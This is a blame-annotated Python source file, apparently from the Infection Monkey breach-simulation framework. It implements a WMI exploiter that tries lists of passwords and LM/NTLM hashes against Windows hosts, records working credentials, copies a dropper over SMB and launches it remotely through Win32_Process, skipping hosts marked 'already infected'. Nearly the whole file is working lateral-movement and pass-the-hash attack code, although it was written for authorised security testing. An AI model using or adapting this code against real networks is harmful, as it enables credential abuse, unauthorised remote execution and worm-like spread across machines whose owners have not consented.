monkey/chaos_monkey/exploit/wmiexec.py

117 lines
5.3 KiB
Python
Raw Normal View History

2015-08-30 15:27:35 +08:00
import socket
import ntpath
import logging
import traceback
2016-07-26 23:52:58 +08:00
from tools import build_monkey_commandline
2017-08-28 15:41:11 +08:00
from model import DROPPER_CMDLINE_WINDOWS, MONKEY_CMDLINE_WINDOWS
2015-11-30 20:11:19 +08:00
from model.host import VictimHost
from exploit import HostExploiter
from exploit.tools import SmbTools, WmiTools, AccessDeniedException, get_target_monkey, report_failed_login
from impacket.dcerpc.v5.rpcrt import DCERPCException
2015-08-30 15:27:35 +08:00
LOG = logging.getLogger(__name__)
2015-11-30 16:56:20 +08:00
2015-08-30 15:27:35 +08:00
class WmiExploiter(HostExploiter):
_target_os_type = ['windows']
2015-08-30 15:27:35 +08:00
def __init__(self):
self._config = __import__('config').WormConfiguration
self._guid = __import__('config').GUID
2015-08-30 15:27:35 +08:00
@WmiTools.dcom_wrap
2015-12-08 01:08:15 +08:00
def exploit_host(self, host, depth=-1, src_path=None):
2015-08-30 15:27:35 +08:00
assert isinstance(host, VictimHost)
src_path = src_path or get_target_monkey(host)
if not src_path:
LOG.info("Can't find suitable monkey executable for host %r", host)
return False
2017-09-27 23:30:44 +08:00
creds = self._config.get_exploit_user_password_or_hash_product()
2017-09-27 23:30:44 +08:00
for user, password, lm_hash, ntlm_hash in creds:
LOG.debug("Attempting to connect %r using WMI with user,password,lm hash,ntlm hash: ('%s','%s','%s','%s')",
host, user, password, lm_hash, ntlm_hash)
2015-08-30 15:27:35 +08:00
wmi_connection = WmiTools.WmiConnection()
try:
2017-09-27 23:30:44 +08:00
wmi_connection.connect(host, user, password, None, lm_hash, ntlm_hash)
2015-08-30 15:27:35 +08:00
except AccessDeniedException:
2017-09-27 23:30:44 +08:00
LOG.debug("Failed connecting to %r using WMI with "
"user,password,lm hash,ntlm hash: ('%s','%s','%s','%s')",
host, user, password, lm_hash, ntlm_hash)
2015-08-30 15:27:35 +08:00
continue
2017-09-27 23:30:44 +08:00
except DCERPCException as exc:
report_failed_login(self, host, user, password, lm_hash, ntlm_hash)
LOG.debug("Failed connecting to %r using WMI with "
"user,password,lm hash,ntlm hash: ('%s','%s','%s','%s')",
host, user, password, lm_hash, ntlm_hash)
continue
2017-09-27 23:30:44 +08:00
except socket.error as exc:
LOG.debug("Network error in WMI connection to %r with "
"user,password,lm hash,ntlm hash: ('%s','%s','%s','%s')",
host, user, password, lm_hash, ntlm_hash)
2015-08-30 15:27:35 +08:00
return False
2017-09-27 23:30:44 +08:00
except Exception as exc:
LOG.debug("Unknown WMI connection error to %r with "
"user,password,lm hash,ntlm hash: ('%s','%s','%s','%s') (%s):\n%s",
host, user, password, lm_hash, ntlm_hash, exc, traceback.format_exc())
2015-08-30 15:27:35 +08:00
return False
host.learn_credentials(user, password)
2015-08-30 15:27:35 +08:00
# query process list and check if monkey already running on victim
process_list = WmiTools.list_object(wmi_connection, "Win32_Process",
fields=("Caption", ),
where="Name='%s'" % ntpath.split(src_path)[-1])
if process_list:
wmi_connection.close()
LOG.debug("Skipping %r - already infected", host)
return False
2015-11-30 16:56:20 +08:00
# copy the file remotely using SMB
2015-08-30 15:27:35 +08:00
remote_full_path = SmbTools.copy_file(host,
src_path,
self._config.dropper_target_path,
2017-09-26 23:11:13 +08:00
user,
password,
2017-09-27 23:30:44 +08:00
lm_hash,
ntlm_hash,
self._config.smb_download_timeout)
2015-08-30 15:27:35 +08:00
if not remote_full_path:
2015-11-30 16:56:20 +08:00
wmi_connection.close()
return False
2015-08-30 15:27:35 +08:00
# execute the remote dropper in case the path isn't final
elif remote_full_path.lower() != self._config.dropper_target_path.lower():
cmdline = DROPPER_CMDLINE_WINDOWS % {'dropper_path': remote_full_path} + \
build_monkey_commandline(host, depth - 1, self._config.dropper_target_path)
2015-08-30 15:27:35 +08:00
else:
cmdline = MONKEY_CMDLINE_WINDOWS % {'monkey_path': remote_full_path} + \
build_monkey_commandline(host, depth - 1)
2015-08-30 15:27:35 +08:00
# execute the remote monkey
result = WmiTools.get_object(wmi_connection, "Win32_Process").Create(cmdline,
ntpath.split(remote_full_path)[0],
None)
if (0 != result.ProcessId) and (0 == result.ReturnValue):
LOG.info("Executed dropper '%s' on remote victim %r (pid=%d, exit_code=%d, cmdline=%r)",
remote_full_path, host, result.ProcessId, result.ReturnValue, cmdline)
success = True
else:
LOG.debug("Error executing dropper '%s' on remote victim %r (pid=%d, exit_code=%d, cmdline=%r)",
remote_full_path, host, result.ProcessId, result.ReturnValue, cmdline)
success = False
result.RemRelease()
wmi_connection.close()
return success
return False